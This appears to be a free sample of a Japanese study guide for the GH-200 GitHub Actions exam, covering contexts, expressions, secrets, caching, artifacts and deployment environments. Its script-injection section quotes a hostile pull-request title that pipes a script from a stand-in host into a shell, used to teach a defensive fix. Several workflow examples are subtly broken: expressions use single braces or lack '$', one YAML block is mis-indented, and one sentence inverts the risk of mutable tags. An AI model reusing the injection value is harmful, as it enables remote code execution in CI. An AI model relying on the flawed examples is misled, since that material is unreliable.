`max-parallel` を書かない場合、ランナーの空き状況に応じて並列数が最大になります。上限を決めたいときに `max-parallel: 2` のように書きます。[^c1-20]

ランナー イメージの変化とコスト

ラベル	指す先
ubuntu-latest	Ubuntu 24.04 (<code>ubuntu-24.04</code> と同じ)
windows-latest	Windows Server 2025。Windows Server 2022 は <code>windows-2022</code> で固定する
ubuntu-20.04	2025-04-15 までに完全に廃止。2025-03 から数回のブラウナウト (意図的な失敗) が行われた。ubuntu-22.04 か ubuntu-24.04 への移行が推奨

ランナー イメージがサポートするのは、OS ごとに最新の 2 つの GA 版までです。古くなったイメージは順に非推奨になります。`-latest` の移行は 1〜2 か月かけて段階的に行われます。意図しない移行を避けるには、`macos-14`・

windows-2022・ubuntu-22.04 のように OS のバージョンを固定します。[^{c1-21}]

コストの面では、標準の GitHub ホストランナーは、公開リポジトリでは無料です。非公開リポジトリでは無料枠を使い切ると、分単価で課金されます。ubuntu-slim (1 CPU) はジョブの上限が 15 分です。組み合わせを絞る手は、不要な軸を減らすことと、exclude で外すことです。max-parallel は同時に動く数を抑えるだけで、ジョブの数も課金の分數も減りません。[^{c1-21}][^{c1-22}]

YAML のアンカーとエイリアス [1.2.6]

同じマッピングやステップが何度も出てくるとき、1 つのファイルの中で重複を減らす書き方です。GitHub Actions は 2025-09-18 に YAML のアンカーに対応しました。すべてのユーザーとリポジトリで自動的に有効で、設定は要りません。[^{c1-23}]

記号	働き
&名前	再利用したい内容に名前を付ける(アンカー)
*名前	その内容を別の場所に繰り返す(エイリアス)
<<: *名前	アンカーのマッピングを取り込み、同じキーは手前で書いた値で上書きする(マージキー)

```
jobs:
  job1:
    runs-on: ubuntu-latest
    env: &env_vars
      NODE_VERSION: 20
    CI: true
    steps:
      - run: npm test
  job2:
    runs-on: ubuntu-latest
    env: *env_vars
    steps:
      - run: npm run lint
test: &base_job
  runs-on: ubuntu-latest
  timeout-minutes: 30
  steps:
    - run: make test
alt-test: *base_job
```

アンカーは最初に使う場所で定義し、後ろでエイリアスから参照します。展開した結果は、アンカーを使わずに書いた YAML と同じです。アンカーはキー 1 つでなくマッピングやジョブ全体に付けられ、上の alt-test は test のジョブ

構成を丸ごと再利用しています。細部は YAML 仕様の「Node Anchors and Aliases」に従う決まりです。[^{^c1-23}][^{^c1-24}]

マージキー `<<` は YAML 1.1 の型 (merge key) で、アンカーを付けたマッピングを別のマッピングに取り込み、同じキーを自分で書けばその値が勝ちます。

```
alt-test:
  <<: *base_job
  timeout-minutes: 10
```

YAML の規則どおりに展開すると、この `alt-test` は `test` の `runs-on` と `steps` を受け継ぎ、`timeout-minutes` だけが 10 になります。試験の範囲には `&・*・マージ (<<)` の 3 つが並びますが、GitHub Docs のアンカーの解説に載っている記号は `&` と `*` だけで、`<<` の説明はありません。Actions のパーサーは `<<` を扱わないので、ワークフローでは使えません。ここでは YAML 1.1 の規則として読み方だけを扱います。実際のワークフローでは `&` と `*` だけで書き、一部だけ変えたいときは、ジョブを書き分けるか再利用ワークフローにします。

どこまで効くか

アンカーが効くのは 1 つのファイルの中だけで、ファイルをまたぐ再利用は再利用可能ワークフロー (`workflow_call`) やワークフローテンプレートの役目です。複合アクションは、ステップのまとまりを 1 つのアクションにして包みます。

手段	再利用の範囲
アンカー・エイリアス	1 つのワークフローファイルの中
再利用可能ワークフロー	ファイルをまたぐ。ジョブ単位で呼ぶ
複合アクション	ステップ単位で包んで、各ワークフローから呼ぶ

[^{^c1-24}]

コンテキスト [1.2.7]

コンテキストは、ワークフロー・リポジトリ・実行の情報を読む入口です。 `${{ github.sha }}` のように式の中で使います。

コンテキスト	中身
github	実行とイベントの情報。 <code>github.event</code> (webhook のペイロード)、 <code>github.event_name</code> 、 <code>github.ref</code> 、 <code>github.sha</code> など
env	<code>env</code> で設定した変数
vars	組織・リポジトリ・環境の構成変数
job	実行中のジョブの情報 (<code>job.status</code> 、 <code>job.services</code> 、 <code>job.container</code>)
jobs	再利用可能ワークフローの出力用。専用

コンテキスト	中身
steps	前のステップの outputs・outcome・conclusion
runner	ランナーの情報 (runner.os、runner.arch、runner.environment)
secrets	シークレット。GITHUB_TOKEN は常に含まれる
strategy	マトリックスの情報
matrix	現在の組み合わせの値
needs	直接の依存ジョブの出力と結果
inputs	再利用可能ワークフローか workflow_dispatch の入力

全部で 12 種です。[^c1-13]

存在しないプロパティを読むと、空文字列になります。プロパティの書き方は、英字か `_` で始まり、英数字・`-`・`.` だけを使います。`github['sha']` のような index 記法も使えます。`vars` の未設定の変数も空文字列です。[^c1-13]

値の読み分け

読む値	内容
github.ref	完全修飾の ref (refs/heads/main、refs/tags/v1)
github.ref_name	短い名前 (main)。PR の未マージ時は <pr_number>/merge
github.ref_type	branch か tag
github.sha	コミットの SHA
github.event	起動したイベントの webhook ペイロードそのもの。イベントごとに異なる
github.event_name	発火したイベントの名前
runner.os	Linux・Windows・macOS
runner.arch	X86・X64・ARM・ARM64
runner.environment	github-hosted か self-hosted
job.status	success・failure・cancelled

[^c1-13]

steps の outcome と conclusion

`continue-on-error: true` のステップが失敗したとき、2 つの値は食い違います。

値	意味	continue-on-error のステップが失敗したとき
outcome	continue-on-error を適用する前の結果	failure

値	意味	continue-on-error のステップが失敗したとき
conclusion	適用した後の結果	success

どちらの値も success・failure・cancelled・skipped のどれかです。[^c1-13]

`id: lint` のステップに `continue-on-error: true` を付け、そのステップが失敗したとします。後続の `if: steps.lint.outcome == 'failure'` は true になります。`if: steps.lint.conclusion == 'failure'` は false です。失敗そのものを見分けたいときは `outcome`、ジョブの流れにどう影響したかを見たいときは `conclusion` を使います。[^c1-13]

キーごとに使えるコンテキスト

使えるコンテキストはワークフローのキーごとに決まっていて、範囲外で使うと検証でエラーになります。特殊関数の `hashFiles` などでも使える場所に制限があります。

キー	使えるコンテキスト
ワークフローの <code>env</code>	<code>github.secrets.inputs.vars</code>
<code>jobs.<job_id>.if</code>	<code>github.needs.vars.inputs</code> (ステータス関数は <code>always</code> ・ <code>cancelled</code> ・ <code>success</code> ・ <code>failure</code>)
<code>jobs.<job_id>.runs-on</code>	<code>github.needs.strategy.matrix.vars.inputs</code>
<code>steps[*].if</code>	<code>github.needs.strategy.matrix.job.runner.env.vars.steps.inputs</code> と <code>hashFiles</code> (<code>secrets</code> は不可)

[^c1-13][^c1-25]

`secrets` コンテキストは複合アクションでは使えません。入力として明示的に渡します。`github` コンテキストを丸ごとログに出すと、`github.token` などの機密を含みます。`toJSON()` で整形して出せますが、本番のログには出しません。再利用可能ワークフローの中の `github` コンテキストは、常に呼び出し側に紐づきます。再利用可能ワークフローを SHA 以外の `ref` で参照しているとき、全ジョブの再実行は指定した `ref` から取り直し、失敗したジョブや特定のジョブの再実行は初回と同じコミット SHA の再利用可能ワークフローを使います。[^c1-13][^c1-25]

バージョン固定と不変アクション

アクションや再利用可能ワークフローを参照する `@{ref}` には、SHA・リリースタグ・ブランチ名のどれかを書けます。コミットの SHA が最も安全です。SHA で固定すると、バックドアを仕込むのに SHA-1 の衝突が要るので、攻撃の緩和策になります。タグは移動や削除ができるため、信頼する作者のアクションでもリスクはなくなります。現行の Docs は、ワークフローの依存関係をロックファイルで固定するのを最も強い保護とし、採用したりポジトリでは SHA 固定に代わるものとしています。ただしロックファイルは 2026-10 にパブリックプレビューとして始まった機能で、試験の版 (2026 年 1 月時点) にはありません。[^c1-26]

試験の範囲は「不変アクション (immutable actions)」という語を使いますが、GitHub Docs にこの語の専用の説明はありません。Docs が説明しているのは不変リリース (immutable releases) で、公開後にアセットと Git タグが変更できません。タグの移動と削除、アセットの変更と削除ができず、リリースの `attestation` も自動で作られます。[^c1-27]

アクションの作者は、リポジトリで不変リリースを有効にし、`v1.0.0` のようなリリース固有のタグでリリースを公開します。あとから動かす `v1`・`v1.1` のようなタグは、リリースを作らず Git タグだけで管理します。不変リリースにできるのは前者で、後者のタグは移動する前提だからです。[^{c1-27}]

アクションや再利用可能ワークフローの所有者名・リポジトリ名・名前を変えると、旧名を使うワークフローは動かなくなります。セキュリティ強化のため、リダイレクトはされません。[^{c1-26}]

式の評価 [1.2.8]

`{{ <式> }}` の中に式を書きます。

リテラル・型・演算子

項目	内容
データ型	<code>boolean</code> ・ <code>null</code> ・ <code>number</code> ・ <code>string</code>
数値	JSON の形式。16 進と指数表記も可
文字列	単引用符で囲む。リテラルの <code>'</code> は <code>''</code> と書く。二重引用符はエラー
演算子	<code>() [] . ! < <= > >= == != && </code>
等価	オブジェクトと配列は、同じインスタンスのときだけ等しい
<code>false</code> に変換される値	<code>false</code> ・ <code>0</code> ・ <code>0</code> ・ <code>""</code> ・ <code>''</code> ・ <code>null</code> 。ほかは <code>true</code>

型が異なる値の比較は、数値に強制変換されます (`null` は `0`、`true` は `1`、`false` は `0`)。文字列は JSON の数値の形でなければ `NaN` になり (空文字列は `0`)、`NaN` との大小の比較は常に `false` です。文字列の比較は大文字小文字を無視します。[^{c1-28}]

関数

関数	働き
<code>contains(search, item)</code>	含むか。配列の要素の一致にも使える (<code>github.event.issue.labels.*.name</code>)。大文字小文字を区別しない
<code>startsWith(searchString, searchValue) / endsWith(searchString, searchValue)</code>	前方一致・後方一致。調べる文字列が第 1 引数、先頭 (末尾) の文字列が第 2 引数。大文字小文字を区別しない
<code>format('{0} {1}', a, b)</code>	<code>{N}</code> を置換する。波括弧のエスケープは二重括弧
<code>join(array, sep)</code>	区切りの既定はカンマ
<code>toJSON(value)</code>	整形した JSON にする。デバッグ用
<code>fromJSON(string)</code>	文字列を JSON の型に変換する。 <code>matrix</code> や <code>timeout-minutes</code> に使える
<code>hashFiles(path)</code>	一致したファイルごとの SHA-256 から、最終の SHA-256 を作る。パスは <code>GITHUB_WORKSPACE</code> の中だけ。一致なしなら空文字列
<code>case(p1, v1, ..., default)</code>	最初に <code>true</code> になった述語の値。なければ最後の引数

[^c1-28]

ステップの出力は文字列として評価されます。数値として比較するときは `fromJson(steps.x.outputs.n) > 3` のように変換します。[^c1-28]

静的な評価と実行時の評価

評価する場所が 2 つあります。

書き方	評価する者	時点
<code>{{ ... }}</code> (ifを含む)	GitHub Actions(ステップのキーはランナー上で)	シェルに渡る前。 <code>jobs.<job_id>.if</code> などジョブのキーはランナーへ送られる前、ステップのキーやジョブの <code>outputs</code> はジョブが動き出してから。式を値に置き換える
<code>\$NAME</code> (run の中)	ランナー上のシェル	ステップの実行時

`if` の判定は GitHub 側で行われ、結果が `true` のときだけジョブがランナーに送られます。そのため `if` ではコンテキストを使い、ランナーにしか無い既定の環境変数 (`$GITHUB_REF` など) は参照できません。 `env` コンテキストを使うのはステップの `if` で、ジョブの `if` では使えません。 `if` で `secrets` を直接参照することもできません。ジョブレベルの環境変数にシークレットを入れ、その `env` を条件に使います。未設定のシークレットは空文字列です。[^c1-28][^c1-29]

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      HAS_KEY: ${ secrets.DEPLOY_KEY }
    steps:
      - if: ${ env.HAS_KEY != '' }
        run: ./deploy.sh
```

シークレットを漏らさない

場面	規則
自動のマスク	保証されない。値が変換されるとすり抜ける。JSON・XML・YAML の塊をそのままシークレットにせず、個別の値で作る
派生値	JWT・Base64・URL エンコードした値は <code>::add-mask::</code> で登録する
48 KB を超える値	gpg などで暗号化したファイルをリポジトリに置き、復号のパスフレーズだけをシークレットにする。復号した値がログに出てても自動のマスクは効かない
フォークと Dependabot	フォークからのワークフローでは <code>GITHUB_TOKEN</code> を除くシークレットがランナーに渡らない。Dependabot のイベントでも Actions のシークレットは使えない(Dependabot シークレットは使える)

場面	規則
作成に必要な権限	リポジトリのシークレットと変数は、組織のリポジトリなら write アクセス、個人のリポジトリならコラボレーター。環境のものは、組織のリポジトリで admin、個人で所有者

[^c1-29][^c1-26]

スクリプトインジェクションの対策も、この範疇です。PRのタイトルのような信頼できない入力を、`{{ }}` で `run` に直接埋め込みません。いったん環境変数に入れ、シェル変数として使います。

```
# 危険: タイトルが ``"; curl evil.sh | sh #`` ならそのまま実行される
- run: echo "${{ github.event.pull_request.title }}"

# 安全: 中間の環境変数を通す
- env:
    TITLE: "${{ github.event.pull_request.title }}"
  run: echo "$TITLE"
```

[^c1-26]

エディターの支援 [1.2.9]

VS Code の拡張機能「GitHub Actions」は、ワークフローの管理・実行履歴の確認・作成の支援を行います。ID は `GitHub.vscode-github-actions` で、公式のリポジトリは `github/vscode-github-actions`、ライセンスは MIT です。[^c1-30]

機能	内容
構文ハイライト	ワークフローと式を色分けし、実行時に値が入る箇所が分かる
ホバーのドキュメント	ワークフローのスキーマ、式の関数、イベントのペイロードをエディターの中で読める
検証とコード補完	YAML スキーマと式に対して働く。式の関数・イベントのペイロード・ジョブとステップの出力にも効く
メタデータの補完 (metadata IntelliSense)	参照先のアクションと呼び出す再利用可能ワークフローの <code>parameters</code> ・ <code>inputs</code> ・ <code>outputs</code> を自動で解析し、補完と検証に使う
管理	エディターを離れずにワークフローと実行を管理し、失敗の調査とログの閲覧ができる。Environments・Secrets・Variables の変更もできる

導入は 3 手順です。Marketplace からインストールし、GitHub アカウントでサインインして GitHub Actions へのアクセスを許可し、GitHub のリポジトリを開きます。左のナビに GitHub Actions のアイコンが出ます。[^c1-30]

制約も覚えます。`github.dev` や `vscode.dev` を含むリモートのリポジトリでは拡張機能がサポートされません。ローカルにダウンロードしたリポジトリで使います。GitHub Enterprise Server は実験的なベータで、未サポートです。使うなら `use-enterprise` 設定を有効にして、GHES の認証プロバイダーで認証します。OS の証明書と企業プロキシは未対応です。[^c1-30]

エディターで見つかる誤りと実行して分かる誤り

エディターの検証が見つけるのは、スキーマに反するキーや式の誤り、参照先のアクションや再利用可能ワークフローに無い入力名のような、書き方の誤りです。実行しないと分からないのは、シークレットの値が正しいか、外部のサービスに接続できるか、`if` が実際の値で `true` になるか、タグの指す先が変わっていないか、といった実行時の内容です。[[^]c1-30]

キャッシュと成果物の保持 [1.3.1]

actions/cache

```
- uses: actions/cache@v4
  id: cache
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      npm-${{ runner.os }}-
- if: steps.cache.outputs.cache-hit != 'true'
  run: npm ci
```

`key` と `path` は必須、`restore-keys` は任意です。`key` は最大 512 文字で、超えるとアクションがエラーになります。

`key` が完全一致すればそのキャッシュを復元し、一致しないときは `key` 自身の前方一致、次に `restore-keys` を上から順に前方一致で探して、複数が一致したら最も新しく作られたキャッシュを返します。`restore-keys` は 1 行ずつ探し、ある行で一致が見つかればそこで決まり、後の行は見ません。最も新しいものを選ぶのは、同じ行に複数が一致したときです。上の例で `package-lock.json` が変わると、`key` は一致しません。`npm-Linux-` で始まる古いキャッシュがあれば、それが復元されます。このとき `cache-hit` は `false` で、ジョブが成功して終わると新しい `key` で保存されます。`cache-hit` の出力が `true` になるのは、`key` が完全一致したときだけです。`restore-keys` による部分一致では、復元されても `cache-hit` は `true` になりません。[[^]c1-31]

キャッシュの制限

項目	内容
容量	リポジトリごとの合計が既定で 10 GB。enterprise owner・organization owner・repository administrator が引き上げられる。10 GB を超えた分は課金される
未アクセスの削除	7 日を超えてアクセスされていないエントリは削除される。個数の上限は無い
容量超過	上限に達すると、最終アクセス日の古い順に削除する。新しいキャッシュ自体は保存される
ブランチの範囲	現在のブランチとデフォルトブランチのキャッシュを復元できる (PR で動いた実行はベースブランチのものも)。子ブランチや兄弟ブランチのキャッシュは復元できない

項目	内容
cache-mode	2026-09 に加わったキー（試験の版より後）。workflow か job に置く。read・write・write-only・none。省略すると起動イベントの信頼度で read か write が決まる

cache-mode は、read が復元だけで保存しない、write が復元も保存もする、write-only が保存だけで復元しない、none がどちらもしない、という意味です。[^c1-31][^c1-14]

成果物・ログの保持期間

成果物・ログ・チェック・ワークフロー実行・コミットステータスは、既定で 90 日後に自動削除されます。変更できる範囲は、公開リポジトリが 1〜90 日、非公開リポジトリが 1〜400 日です。変更は新しく作られるオブジェクトにだけ適用され、遡って適用されません。

upload-artifact の retention-days で、成果物ごとに保持日数を決められます。ただしリポジトリ・組織・enterprise の上限を超えられません。2026-10-01 からは、保持ポリシーが成果物とログに加え、チェック・ワークフロー実行・コミットステータスにも適用されます。それより前は、この 3 つは設定に関係なく 400 日以上保持されていました（2026-07 に告知された変更で、試験の版より後）。[^c1-32][^c1-33]

REST API で保持期間を扱います。

範囲	エンドポイント
組織	GET と PUT の /orgs/{org}/actions/permissions/artifact-and-log-retention
リポジトリ	GET と PUT の /repos/{owner}/{repo}/actions/permissions/artifact-and-log-retention

PUT のボディは days（整数・必須）です。リポジトリの PUT が成功すると、204 の空の応答が返ります。[^c1-34]

キャッシュと成果物の使い分け

	キャッシュ	成果物
目的	同じ依存を毎回取り直さないための高速化	ジョブの出力を残す、ジョブの間でファイルを渡す
共有の範囲	ブランチの範囲に縛られる	実行の中、または run-id を指定して別の実行から
既定の保持	7 日間アクセスが無ければ削除。容量 10 GB	90 日
向く物	node_modules・パッケージのダウンロードキャッシュ	ビルド結果・テストレポート・カバレッジ

ビルド結果を次のジョブに渡す、利用者にダウンロードしてもらう、という場面は成果物です。依存パッケージの取得を速める場面はキャッシュです。[^c1-31][^c1-35]

ジョブとステップの間でデータを渡す [1.3.2]

ステップの出力からジョブの出力へ

```
jobs:
  job1:
    runs-on: ubuntu-latest
    outputs:
      out1: ${ steps.s1.outputs.version }
    steps:
      - id: s1
        run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"
  job2:
    needs: job1
    runs-on: ubuntu-latest
    steps:
      - run: echo "${ needs.job1.outputs.out1 }"
```

ステップに `id` を付け、`name=value` を `GITHUB_OUTPUT` に追記すると、`steps.<id>.outputs.<name>` で読めます。別のジョブへ渡すには、まず `jobs.<job_id>.outputs` に対応付けます。後続のジョブは `needs` で依存し、`needs.<job_id>.outputs.<name>` で読めます。ステップの出力をそのまま別のジョブへは渡せません。

項目	内容
大きさの上限	1 ジョブの出力は最大 1 MB。1 回の実行の全出力の合計は最大 50 MB (UTF-16 換算の概算)
シークレットを含む出力	ランナー上で伏せられ、GitHub Actions に送られない。スキップされたときは警告が出る

[^c1-36]

GITHUB_ENV と GITHUB_PATH

`GITHUB_ENV` に書いた環境変数は、書いたステップ自身では使えず、後続のステップから使えます。`GITHUB_PATH` に書いたディレクトリは `PATH` の先頭に追加され、同じジョブの後続のアクションで有効です。実行中のアクションからは見えません。ただし JavaScript アクションの `core.addPath` は、`GITHUB_PATH` に書くのと同時に、実行中のアクション自身の `PATH` の先頭にも足すので、同じアクションの中からもそのディレクトリのコマンドを呼べます。値が任意の内容で区切り文字を決められないときは、環境ファイルを使わず、ファイルに書いて渡します。複数行の値は、前に見たとおり `{name}<<{delimiter}` の形で書きます。[^c1-15]

ステップの出力は `steps` コンテキスト経由で同じジョブの中で読み、環境変数は後続ステップがシェルの変数として読みます。

成果物でファイルを渡す

```
- uses: actions/upload-artifact@v4
  with:
    name: build-output
    path: dist/
# 別のジョブで
- uses: actions/download-artifact@v4
  with:
    name: build-output
    path: dist/
```

upload-artifact v4 の成果物は不変なので、既定では同じ名前で上げ直すとアップロードが失敗します。Docs の例は別の名前 (例 homework_final) で渡しています (overwrite: true なら同名の成果物を消してから上げ直し、新しい ID になります)。download-artifact は既定でステップのワークスペースへ展開し、path 入力で変更できます。name を省略すると、全成果物を成果物名ごとのディレクトリに展開する動きです。別のワークフロー実行から取得するには、トークンと run の識別子 (github-token と run-id) を渡します。[^c1-35]

再利用可能ワークフローの outputs

呼ばれる側の on.workflow_call.outputs の value に、呼ばれる側のジョブ出力を割り当てる形です。ステップの出力は、先にジョブの出力へ写してください。呼び出し側は needs.<job_id>.outputs.<name> で読みます。マトリックスで実行した再利用可能ワークフローの出力は、実際に値を設定した、最後に成功した実行のものになります。[^c1-8] [^c1-36]

渡したい物	手段
同じジョブの後続ステップへ、環境変数として	GITHUB_ENV
同じジョブの後続ステップへ、ステップの結果として	GITHUB_OUTPUT と steps.<id>.outputs
別のジョブへ、短い値を	ジョブの outputs と needs
別のジョブへ、ファイルを	upload-artifact と download-artifact
再利用可能ワークフローから呼び出し側へ	on.workflow_call.outputs

ジョブのサマリー [1.3.3]

GITHUB_STEP_SUMMARY のファイルに Markdown を追記すると、実行のサマリーのページに表示されます。

```
- run: |
  echo "### Test results" >> "$GITHUB_STEP_SUMMARY"
  echo "| passed | failed |" >> "$GITHUB_STEP_SUMMARY"
  echo "|---|---|" >> "$GITHUB_STEP_SUMMARY"
  echo "| 98 | 2 |" >> "$GITHUB_STEP_SUMMARY"
```

PowerShell では `$env:GITHUB_STEP_SUMMARY` と書き、書式は GitHub flavored Markdown に対応します。用途は、テスト結果・カバレッジ・リンクをまとめ、ログを開かなくても失敗などの重要な情報を見られるようにすることです。

項目	内容
ファイルの単位	ステップごとに別のファイル。壊れた Markdown が他のステップに影響しない
結合	ジョブの終了時に全ステップのサマリーが 1 つに結合される。複数のジョブはジョブの完了順に並ぶ
大きさ	1 ステップあたり最大 1 MiB。超えるとそのステップのアップロードが失敗し、エラーのアノテーションが付くが、ステップやジョブの結論は変わらない
表示される件数	1 ジョブにつきステップ由来のサマリーは最大 20 件
追記と上書き	<code>>></code> は追記、 <code>></code> は直前までの内容を置き換える
削除	そのステップのサマリーを消すには、 <code>GITHUB_STEP_SUMMARY</code> が指すファイルを削除する
アップロード後	ステップが完了するとアップロードされ、後続ステップはアップロード済みの内容を変更できない
シークレット	誤って入ったシークレットは自動でマスクされる。機微な情報が出たときは実行全体を削除すればサマリーも消える
失敗の影響	サマリーのアップロードの失敗は、ステップやジョブの状態に影響しない

toolkit の `core.summary` も、この環境ファイルを通して動きます。[^c1-37]

ステータスバッジと環境の保護 [1.3.4]

ステータスバッジ

バッジの URL は、ワークフローのファイル名から作ります。

```
https://github.com/OWNER/REPOSITORY/actions/workflows/WORKFLOW-FILE/badge.svg
```

付け足し	働き
<code>?branch=BRANCH-NAME</code>	特定のブランチの状態を表示
<code>?event=push</code>	そのイベントで起動した実行の状態を表示
何も付けない	デフォルトブランチの状態。そのブランチに実行が無ければ、全ブランチの直近の実行

画面からは、Actions タブでワークフローを選びます。「Filter workflow runs」の横のメニューから「Create status badge」を選び、「Copy status badge Markdown」を押すと作れます。非公開リポジトリのバッジは外部からアクセスできず、外部のサイトに埋め込んだりリンクしたりできません。[^c1-38]

環境(environments)と保護ルール

ジョブの `environment` キーは、環境名だけ、または `name` と `url` を持つオブジェクトで指定する形です。`url` は `deployments API` の `environment_url` に対応します。

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://example.com
```

保護ルール	内容
Required reviewers	最大 6 人か team。1 人が承認すればジョブは進む
Wait timer	分単位の整数で 1〜43,200 (30 日)。待機時間は課金対象の時間に含まれない
Prevent self-review	有効にすると、デプロイを起動した人は、必須レビュアーであっても自分のデプロイを承認できない
Deployment branches and tags	No restriction・Protected branches only・Selected branches and tags の 3 種。Selected は branch と tag を別々にパターンで指定する
カスタムのルール	GitHub Apps で作る。何個でもインストールできるが、1 つの環境で同時に有効にできるのは最大 6 個。public preview で、仕様が変わりうる

プランによって使える範囲が変わります。Free・Pro・Team の非公開リポジトリでは、Required reviewers・Wait timer・カスタムのルールは使えません。Deployment branches and tags は、Pro と Team なら非公開リポジトリでも使えます。[^c1-39]

次の場面が出題の型です。本番用の `production` 環境に Required reviewers を 1 人設定し、Prevent self-review を有効にします。デプロイのジョブをこの環境に結び付け、`needs: build` で後段に置いた構成です。すると `build` が通ったあと、`deploy` は承認待ちで止まります。起動した本人は承認できません。進むのは、別のレビュアーが承認してからです。Deployment branches を Protected branches only にしておけば、保護されていないブランチからは、この環境のジョブが動きません (リポジトリにブランチ保護のルールが 1 つも無いときは、すべてのブランチがデプロイできます) 。[^c1-39][^c1-14]

サンプルはここまでです

続き(第2章～巻末)は、GH-200 問題集のご購入で、頻出度別ノート・暗記用ノートと合わせて3点すべてダウンロードできます。

SAMPLE

GitHub Actions (GH-200) 学習用テキスト(無料サンプル)

版

2026年10月版(GH-200 出題範囲(Study guide・Skills measured as of January 2026)準拠)

発行

IT資格道場(<https://www.shikaku-doujou.com>)

お問い合わせ

info@shikaku-doujou.com

GitHub、GitHub Actions および GitHub の製品名・サービス名は、GitHub, Inc. の米国およびその他の国における商標または登録商標です。記載されているその他の会社名・製品名・サービス名は、各社の商標または登録商標です。

本教材は公式シラバスの内容を基に作成したもので、GitHub, Inc. および Microsoft Corporation との提携・承認関係はありません。

本文・図表・設問はすべてオリジナルの著作物です。無断での転載・複製・再配布・二次販売はできません。お気づきの点は info@shikaku-doujou.com までご連絡ください。